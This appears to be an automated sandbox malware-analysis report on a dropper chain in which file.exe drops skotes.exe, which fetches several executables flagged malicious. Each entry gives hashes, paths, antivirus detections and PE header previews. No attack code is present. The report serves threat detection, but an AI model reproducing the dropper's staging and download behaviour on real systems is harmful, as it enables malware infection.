21:09:01	API Interceptor	15973234x Sleep call for process: skotes.exe modified
21:09:37	API Interceptor	60x Sleep call for process: powershell.exe modified
21:09:39	API Interceptor	275x Sleep call for process: 41266a11cd.exe modified
21:09:47	API Interceptor	944381x Sleep call for process: ce23dfc9e9.exe modified
21:09:57	API Interceptor	2x Sleep call for process: svchost.exe modified
21:10:04	API Interceptor	41058x Sleep call for process: 813d0f4405.exe modified
21:10:32	API Interceptor	1105472x Sleep call for process: regsvr32.exe modified

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xa8f7d05a, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6586036449999869
Encrypted:	false
SSDEEP:	1536:BSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Baza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	484F61CDFCC7B1080CA17981A1E1E64C
SHA1:	2310D7968C4D7D3582E7ADFA5CCC14F9D8AA2994
SHA-256:	CF8F7C924BD85917DDC69D199C16CD4DEEAD39DB9E72CEA94B88C1820E5D97C6
SHA-512:	DAD492007D6B7B2F541B7B14E9899C0B715A2EE2981185B2AC4C3FA3BB637953C1A50195F972C43EA55DF247F85B4E39EF68E34E8BABB8450E5ED3FE4BD86940
Malicious:	false
Reputation:	unknown
Preview:	...Z... ...............X\...;...{......................0.z..........{..9....\|..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{....................................J.:....\|....................V.9....\|...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1864704
Entropy (8bit):	7.947868365642674
Encrypted:	false
SSDEEP:	49152:bxFphDZ2tR3w0VsyfbvJhYZf4uVeWAHOA8JGn:bctRrs6vYZfNAu1
MD5:	896B70EC58CD9C07E6F54178C959B1AB
SHA1:	32517407995BCF199A780C697AA9FF0B407E1BB4
SHA-256:	8EDF303376C0B5EEFE108E4726251F107B82CA778F3DD2A95859B2B43988EC55
SHA-512:	FD2255E574C5080038805A6255B0077F29D1EA9BC6EFEFC729164C5AD5BE3573F444EFD8EB1E9B74A53B7E60374E0C6CBC161D4B3F837500AD5325BD3E29805C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....r;g..............................J...........@..........................0J...........@.................................\p..p....`.......................q...................................................................................... . .P.......^..................@....rsrc........`.......n..............@....idata .....p.......p..............@... ..*..........r..............@...gvbnyfpp......0......t..............@...qsyvlzzs......I......L..............@....taggant.0....J.."...R..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\SillyShelf[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1769630
Entropy (8bit):	7.958379968512178
Encrypted:	false
SSDEEP:	49152:zUjKZGiyt7lO9kwWzJLPKeVMFZkYilgWRqadRRnqxD:iflWeOeV8ulCaLc
MD5:	FECD099F9B8D9500D7199A1054397E3F
SHA1:	3DF235780C9AD851474C20338E4921F5F2DECAF7
SHA-256:	96A60B6CDE63794B637BCE219083E7905560C626E68C00AF1D99BE451C8C3700
SHA-512:	E8559B435FC053460CC7D5BA6755C1B8AA659F2BC620BD13F7AC6DB7DA846088018BAF07C630F2FC97769E5DA0D0BBC2FCD9B400B7166C6AA5CADA4D9A85ECA0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...T..O.................P..........xd.......p....@..............................................@.................................................................................................................P...L............................text....C.......D.................. ..`.itext.......`.......H.............. ..`.data........p.......T..............@....bss....LW...........b...................idata...............b..............@....tls.................r...................rdata...............r..............@..@.rsrc...............t..............@..@.....................&..............@..@........................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\json[1].json

Download File

Process:	C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.366191258449908
Encrypted:	false
SSDEEP:	48:SfNaoQ5LzTEQ5lfNaoQblKQbdfNaoQlQWFfNaoQs0UrU0U8Qc:6NnQ5LzTEQ5RNnQcQVNnQlQiNnQs0Urn
MD5:	B89D9260FB5AA8637B220F8940DDF3BF
SHA1:	51103A5A8DC11E489FBDD57331E4681AF265479B
SHA-256:	2C9E2A627722BCAC67287BCC99939746CC1FEB69B508BA6FD4CAF4C3319C922E
SHA-512:	D6735F4B3466F3101B6435D6FCD207F8784293608B27FF5662578042352D93698AE09C53257FDA34D5A809C10F74264965314F67F88891075630332C0E2363CF
Malicious:	false
Reputation:	unknown
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/A87D7C4171DC5C5250A6252927BC7787",.. "id": "A87D7C4171DC5C5250A6252927BC7787",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/A87D7C4171DC5C5250A6252927BC7787"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/08D5FEF859179FC25F5A94EBBCD6FB44",.. "id": "08D5FEF859179FC25F5A94EBBCD6FB44",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/08D5FEF859179FC25F5A94EBBCD6FB44"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2813440
Entropy (8bit):	6.550145524494401
Encrypted:	false
SSDEEP:	49152:9HZJ/zBwDIyhmlt6brjR4wvMH3v2IV+CnF:hP/zikywltmW6MH3vlT
MD5:	DD4838B2C7C89B5D5130F5BC7168809B
SHA1:	38CA577F79FFD22928874B9C74552027A7FCE330
SHA-256:	628693042F7CC6900F9B14C58B3D18499FF7FEDF05335B7A81774DB4BD5F23DB
SHA-512:	B56FFE826DD7A4BD43AAFD402C139D930D3FFAE5C2813DE960D1D6544EE1D8D96B89E38728F4C4DF024C0A38F60A730E1AB5B1D73A548FDAC5F78F7164E004E3
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........`+.. ...`....@.. ........................+......c+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...dgdiyami...........:..............@...siwuhmix. ...@+....................@....taggant.@...`+..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1815040
Entropy (8bit):	7.946081587282087
Encrypted:	false
SSDEEP:	24576:bVpf7Ep73Z0fa6l5kAmrUU7efuNwYA5mWnFPb/fK5AMEpoxxPhblwRpbvpkvz4IP:JpM107l5kAc1eNEUaAMrxP5lJKPc6b
MD5:	839A665835F7C3206F7DCFC30378EB90
SHA1:	1FACFC21EED29AE31EA6781482DA70E87A8F89FF
SHA-256:	82672B451FDAEE65C1FBCAC9DB7D969BB928F566F6D8AE55BD4C02A34236DDCD
SHA-512:	F3543BAD711C788329C6BE8F8A7CFA06B9203CB1A73F9F617F05C4CC6F8557B3D0B81D8A500E1202D4B92EAD0440D4B70CCD119896E51BE531EDEDBEE88B48F9
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g....................."........i...........@...........................j.....F.....@.................................M.$.a.....$.......................$..................................................................................... . ..$......b..................@....rsrc.........$......r..............@....idata ......$......t..............@... ..*...$......v..............@...roagfprl. ....O......x..............@...igylmmhq......i.....................@....taggant.0....i.."..................@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4366848
Entropy (8bit):	7.98679582304733
Encrypted:	false
SSDEEP:	98304:0GWjcj2UFPdYc+f4MqJRiIhtGReV0yZxWfJZzu7GqTQ7m:ecZfYb4MqrNoRY0UxyZzc5c7m
MD5:	580E5E0360775B95AB367AC5B849B95A
SHA1:	5CC16DE84752885FA1CDBD8ADF038C55FA15F28F
SHA-256:	5A2F8A3D3A35A24346E8C62D5F36D052E26834F1E58996674F2CEDDF563E452B
SHA-512:	B4EC8B572D4D39228485D63A82CB067931AB1B5845E3A8EC20DDE6D70D06AE232570382081CE0CC2C2F6DE4F91EBE47115DC4AE52542D1BDB76C72314FD594AE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<g...............(..I...s..2............J...@...................................B...@... ............................._.q.s...........................dm...............................m...................................................... . ..p......x'.................@....rsrc ......p.......'.............@....idata ......q.......'.............@... .p7...q.......'.............@...ezbvjsfb..............'.............@...cmymopnd.....p.......zB.............@....taggant.0......."....B.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	923136
Entropy (8bit):	6.593739947058788
Encrypted:	false
SSDEEP:	12288:AqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDgaZTu:AqDEvCTbMWu7rQYlBQcBiT6rprG8adu
MD5:	255340D5114625142BF036174E2D4137
SHA1:	35F61FBBA27AE11FB093C869B652CEF80A37875B
SHA-256:	96E13EA6B51E4485D4709FAEB9CF7672E15CF36EFD76C0441FF1B33BA15A676D
SHA-512:	25A6BB226C73A64AF547AE039F21A814E578F727F3C52EB0DD1234F2790FC5AFF60E32704E0AF963EC41CB91D01B456DFE373527D305D69C29EA90927AA9DC2B
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...4.>g.........."..........f......w.............@..........................p.......v....@...@.......@.....................d...\|....@...........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc........@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Reputation:	unknown
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4366848
Entropy (8bit):	7.98679582304733
Encrypted:	false
SSDEEP:	98304:0GWjcj2UFPdYc+f4MqJRiIhtGReV0yZxWfJZzu7GqTQ7m:ecZfYb4MqrNoRY0UxyZzc5c7m
MD5:	580E5E0360775B95AB367AC5B849B95A
SHA1:	5CC16DE84752885FA1CDBD8ADF038C55FA15F28F
SHA-256:	5A2F8A3D3A35A24346E8C62D5F36D052E26834F1E58996674F2CEDDF563E452B
SHA-512:	B4EC8B572D4D39228485D63A82CB067931AB1B5845E3A8EC20DDE6D70D06AE232570382081CE0CC2C2F6DE4F91EBE47115DC4AE52542D1BDB76C72314FD594AE
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 34%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<g...............(..I...s..2............J...@...................................B...@... ............................._.q.s...........................dm...............................m...................................................... . ..p......x'.................@....rsrc ......p.......'.............@....idata ......q.......'.............@... .p7...q.......'.............@...ezbvjsfb..............'.............@...cmymopnd.....p.......zB.............@....taggant.0......."....B.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1769630
Entropy (8bit):	7.958379968512178
Encrypted:	false
SSDEEP:	49152:zUjKZGiyt7lO9kwWzJLPKeVMFZkYilgWRqadRRnqxD:iflWeOeV8ulCaLc
MD5:	FECD099F9B8D9500D7199A1054397E3F
SHA1:	3DF235780C9AD851474C20338E4921F5F2DECAF7
SHA-256:	96A60B6CDE63794B637BCE219083E7905560C626E68C00AF1D99BE451C8C3700
SHA-512:	E8559B435FC053460CC7D5BA6755C1B8AA659F2BC620BD13F7AC6DB7DA846088018BAF07C630F2FC97769E5DA0D0BBC2FCD9B400B7166C6AA5CADA4D9A85ECA0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...T..O.................P..........xd.......p....@..............................................@.................................................................................................................P...L............................text....C.......D.................. ..`.itext.......`.......H.............. ..`.data........p.......T..............@....bss....LW...........b...................idata...............b..............@....tls.................r...................rdata...............r..............@..@.rsrc...............t..............@..@.....................&..............@..@........................................................................................................................................

C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1864704
Entropy (8bit):	7.947868365642674
Encrypted:	false
SSDEEP:	49152:bxFphDZ2tR3w0VsyfbvJhYZf4uVeWAHOA8JGn:bctRrs6vYZfNAu1
MD5:	896B70EC58CD9C07E6F54178C959B1AB
SHA1:	32517407995BCF199A780C697AA9FF0B407E1BB4
SHA-256:	8EDF303376C0B5EEFE108E4726251F107B82CA778F3DD2A95859B2B43988EC55
SHA-512:	FD2255E574C5080038805A6255B0077F29D1EA9BC6EFEFC729164C5AD5BE3573F444EFD8EB1E9B74A53B7E60374E0C6CBC161D4B3F837500AD5325BD3E29805C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....r;g..............................J...........@..........................0J...........@.................................\p..p....`.......................q...................................................................................... . .P.......^..................@....rsrc........`.......n..............@....idata .....p.......p..............@... ..*..........r..............@...gvbnyfpp......0......t..............@...qsyvlzzs......I......L..............@....taggant.0....J.."...R..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1815040
Entropy (8bit):	7.946081587282087
Encrypted:	false
SSDEEP:	24576:bVpf7Ep73Z0fa6l5kAmrUU7efuNwYA5mWnFPb/fK5AMEpoxxPhblwRpbvpkvz4IP:JpM107l5kAc1eNEUaAMrxP5lJKPc6b
MD5:	839A665835F7C3206F7DCFC30378EB90
SHA1:	1FACFC21EED29AE31EA6781482DA70E87A8F89FF
SHA-256:	82672B451FDAEE65C1FBCAC9DB7D969BB928F566F6D8AE55BD4C02A34236DDCD
SHA-512:	F3543BAD711C788329C6BE8F8A7CFA06B9203CB1A73F9F617F05C4CC6F8557B3D0B81D8A500E1202D4B92EAD0440D4B70CCD119896E51BE531EDEDBEE88B48F9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g....................."........i...........@...........................j.....F.....@.................................M.$.a.....$.......................$..................................................................................... . ..$......b..................@....rsrc.........$......r..............@....idata ......$......t..............@... ..*...$......v..............@...roagfprl. ....O......x..............@...igylmmhq......i.....................@....taggant.0....i.."..................@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	923136
Entropy (8bit):	6.593739947058788
Encrypted:	false
SSDEEP:	12288:AqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDgaZTu:AqDEvCTbMWu7rQYlBQcBiT6rprG8adu
MD5:	255340D5114625142BF036174E2D4137
SHA1:	35F61FBBA27AE11FB093C869B652CEF80A37875B
SHA-256:	96E13EA6B51E4485D4709FAEB9CF7672E15CF36EFD76C0441FF1B33BA15A676D
SHA-512:	25A6BB226C73A64AF547AE039F21A814E578F727F3C52EB0DD1234F2790FC5AFF60E32704E0AF963EC41CB91D01B456DFE373527D305D69C29EA90927AA9DC2B
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...4.>g.........."..........f......w.............@..........................p.......v....@...@.......@.....................d...\|....@...........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc........@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2813440
Entropy (8bit):	6.550145524494401
Encrypted:	false
SSDEEP:	49152:9HZJ/zBwDIyhmlt6brjR4wvMH3v2IV+CnF:hP/zikywltmW6MH3vlT
MD5:	DD4838B2C7C89B5D5130F5BC7168809B
SHA1:	38CA577F79FFD22928874B9C74552027A7FCE330
SHA-256:	628693042F7CC6900F9B14C58B3D18499FF7FEDF05335B7A81774DB4BD5F23DB
SHA-512:	B56FFE826DD7A4BD43AAFD402C139D930D3FFAE5C2813DE960D1D6544EE1D8D96B89E38728F4C4DF024C0A38F60A730E1AB5B1D73A548FDAC5F78F7164E004E3
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........`+.. ...`....@.. ........................+......c+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...dgdiyami...........:..............@...siwuhmix. ...@+....................@....taggant.@...`+..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2pr3te1o.dwu.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5xx2s4mq.0dn.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bf42oesh.0ga.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_htvhitnz.itp.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hzjsurmy.wyt.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jaljxyuf.jcx.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_v4megazn.vui.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wcoa1vyy.vs5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1908736
Entropy (8bit):	7.949145751589773
Encrypted:	false
SSDEEP:	49152:ouQbXZhAkVEfQcncuwxgFU2Gya/NIFQMn7ePxc8Oj:o1rZCoEfQcncBgFUnjFtv5E
MD5:	35D1C1965ED05D18F6D96F235A43A275
SHA1:	C86EF2A0FCF22B02054F92F23C70A61AE8570B31
SHA-256:	D7ECEE953B42D1EAD347C587DEABFC57ED5360B5C20278249D6E2BAE39386D56
SHA-512:	25FD47D1E7CE7EE6202C0D90BA8E096E6442549045D3FF9B478BA0F2A815A85F2B44E5E17620E70E35E9C41DBC457B8B1ADDE9ACA5F0FFD624A9B2D6F50FDBEC
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
